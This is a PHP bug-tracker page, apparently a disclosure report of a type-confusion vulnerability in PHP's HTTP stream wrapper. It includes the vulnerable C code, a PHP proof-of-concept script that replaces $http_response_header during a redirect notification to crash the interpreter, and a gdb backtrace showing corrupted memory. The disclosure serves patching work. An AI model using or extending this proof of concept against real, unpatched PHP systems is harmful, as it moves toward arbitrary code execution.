|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2015-04-14 07:29 UTC] stas@php.net
[2015-04-14 07:29 UTC] stas@php.net
-Status: Open
+Status: Closed
[2015-04-14 08:31 UTC] stas@php.net
[2015-04-15 08:43 UTC] jpauli@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Mon Oct 27 06:00:01 2025 UTC |
Description: ------------ php_stream_url_wrap_http_ex() creates a $http_response_header array variable in the local execution scope (which may be the global scope). Then it gets a pointer to this variable, and throughout the function's execution accesses it multiple times, assuming that: 1) the variable still exists 1) the variable is indeed an array ext/standard/http_fopen_wrapper.c: if (header_init) { zval *ztmp; MAKE_STD_ZVAL(ztmp); array_init(ztmp); ZEND_SET_SYMBOL(EG(active_symbol_table), "http_response_header", ztmp); } { zval **rh; zend_hash_find(EG(active_symbol_table), "http_response_header", sizeof("http_response_header"), (void **) &rh); response_header = *rh; } ..... ZVAL_STRINGL(http_response, tmp_line, tmp_line_len, 1); zend_hash_next_index_insert(Z_ARRVAL_P(response_header), &http_response, sizeof(zval *), NULL); However, by using the stream notifications feature, an attacker can change the type of the $http_response_header variable before the function has finished executing, resulting in a type-confusion vulnerability, which has been shown several times in the past to lead to arbitrary code execution. There are numerous stream notification codes that can be used for this purpose: - STREAM_NOTIFY_REDIRECTED - STREAM_NOTIFY_AUTH_RESULT - STREAM_NOTIFY_FAILURE And possibly others... The function should probably zval_add_ref() the $http_response_header as soon as its initialized, and then validate its type before every use, rather than assume its still an array. Tested against: - 64-bit PHP 5.5.9-1ubuntu4.7 (cli) - 32-bit PHP 5.5.9-1ubuntu4.7 (cli) - 32/64-bit PHP 5.6.7 (cli) (built: Mar 27 2015 07:04:21) (DEBUG) - custom build with ./configure --enable-debug Test script: --------------- <?php function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) { if($notification_code == STREAM_NOTIFY_REDIRECTED) { // $http_response_header is now a string, but will be used as an array // by php_stream_url_wrap_http_ex() later on $GLOBALS['http_response_header'] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\0\0\0"; } } $ctx = stream_context_create(); stream_context_set_params($ctx, array("notification" => "stream_notification_callback")); file_get_contents("http://php.net/get-involved", false, $ctx); // any url that causes a http redirection ?> Expected result: ---------------- Segmentation fault Actual result: -------------- (gdb) r Starting program: /php-5.6.7/sapi/cli/php test2.php [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x0000000000808166 in _zend_hash_index_update_or_next_insert (ht=0x7ffff7eb1f08, h=7016996765293437281, pData=0x7fffffff8cc0, nDataSize=8, pDest=0x0, flag=4, __zend_filename=0xc2f1d0 "/php-5.6.7/ext/standard/http_fopen_wrapper.c", __zend_lineno=726) at /php-5.6.7/Zend/zend_hash.c:399 399 p = ht->arBuckets[nIndex]; 2: x/i $pc => 0x808166 <_zend_hash_index_update_or_next_insert+235>: mov (%rax),%rax (gdb) bt #0 0x0000000000808166 in _zend_hash_index_update_or_next_insert (ht=0x7ffff7eb1f08, h=7016996765293437281, pData=0x7fffffff8cc0, nDataSize=8, pDest=0x0, flag=4, __zend_filename=0xc2f1d0 "/php-5.6.7/ext/standard/http_fopen_wrapper.c", __zend_lineno=726) at /php-5.6.7/Zend/zend_hash.c:399 #1 0x000000000072d47a in php_stream_url_wrap_http_ex (wrapper=0xf5b520 <php_stream_http_wrapper>, path=0x7fffffffa130 "http://php.net/get-involved.php", mode=0xc1edab "rb", options=0, opened_path=0x0, context=0x7ffff7fc8190, redirect_max=19, flags=2, __php_stream_call_depth=0, __zend_filename=0xc2f1d0 "/php-5.6.7/ext/standard/http_fopen_wrapper.c", __zend_lineno=895, __zend_orig_filename=0x0, __zend_orig_lineno=0) at /php-5.6.7/ext/standard/http_fopen_wrapper.c:726 #2 0x000000000072e599 in php_stream_url_wrap_http_ex (wrapper=0xf5b520 <php_stream_http_wrapper>, path=0x7ffff7eb2048 "http://php.net/get-involved", mode=0xc1edab "rb", options=0, opened_path=0x0, context=0x7ffff7fc8190, redirect_max=19, flags=1, __php_stream_call_depth=0, __zend_filename=0xc2f1d0 "/php-5.6.7/ext/standard/http_fopen_wrapper.c", __zend_lineno=951, __zend_orig_filename=0x0, __zend_orig_lineno=0) at /php-5.6.7/ext/standard/http_fopen_wrapper.c:895 #3 0x000000000072e8d2 in php_stream_url_wrap_http (wrapper=0xf5b520 <php_stream_http_wrapper>, path=0x7ffff7eb2048 "http://php.net/get-involved", mode=0xc1edab "rb", options=0, opened_path=0x0, context=0x7ffff7fc8190, __php_stream_call_depth=1, __zend_filename=0xc38f18 "/php-5.6.7/main/streams/streams.c", __zend_lineno=2066, __zend_orig_filename=0xc1e698 "/php-5.6.7/ext/standard/file.c", __zend_orig_lineno=550) at /php-5.6.7/ext/standard/http_fopen_wrapper.c:951 #4 0x000000000077d37c in _php_stream_open_wrapper_ex (path=0x7ffff7eb2048 "http://php.net/get-involved", mode=0xc1edab "rb", options=8, opened_path=0x0, context=0x7ffff7fc8190, __php_stream_call_depth=0, __zend_filename=0xc1e698 "/php-5.6.7/ext/standard/file.c", __zend_lineno=550, __zend_orig_filename=0x0, __zend_orig_lineno=0) at /php-5.6.7/main/streams/streams.c:2064 #5 0x00000000006d0842 in zif_file_get_contents (ht=3, return_value=0x7ffff7fc68e8, return_value_ptr=0x7ffff7f8f1c8, this_ptr=0x0, return_value_used=0) at /php-5.6.7/ext/standard/file.c:548 #6 0x0000000000619ff3 in phar_file_get_contents (ht=3, return_value=0x7ffff7fc68e8, return_value_ptr=0x7ffff7f8f1c8, this_ptr=0x0, return_value_used=0) at /php-5.6.7/ext/phar/func_interceptors.c:225 #7 0x000000000083b5d8 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7f8f260) at /php-5.6.7/Zend/zend_vm_execute.h:558 #8 0x0000000000840e49 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7f8f260) at /php-5.6.7/Zend/zend_vm_execute.h:2595 #9 0x000000000083ac47 in execute_ex (execute_data=0x7ffff7f8f260) at /php-5.6.7/Zend/zend_vm_execute.h:363 #10 0x000000000083acd0 in zend_execute (op_array=0x7ffff7fc4da0) at /php-5.6.7/Zend/zend_vm_execute.h:388 #11 0x00000000007f6aa3 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /php-5.6.7/Zend/zend.c:1341 #12 0x000000000075d181 in php_execute_script (primary_file=0x7fffffffd290) at /php-5.6.7/main/main.c:2597 #13 0x00000000008a915e in do_cli (argc=2, argv=0xf7b9e0) at /php-5.6.7/sapi/cli/php_cli.c:994 #14 0x00000000008aa48c in main (argc=2, argv=0xf7b9e0) at /php-5.6.7/sapi/cli/php_cli.c:1378 (gdb) print ht $18 = (HashTable *) 0x7ffff7eb1f08 (gdb) print *ht $19 = {nTableSize = 1633771873, nTableMask = 1633771873, nNumOfElements = 1633771873, nNextFreeElement = 7016996765293437281, pInternalPointer = 0x6161616161616161, pListHead = 0x6161616161616161, pListTail = 0x6161616161616161, arBuckets = 0x6161616161616161, pDestructor = 0x6161616161616161, persistent = 97 'a', nApplyCount = 97 'a', bApplyProtection = 97 'a', inconsistent = 0} (gdb) x/s ht 0x7ffff7eb1f08: 'a' <repeats 68 times>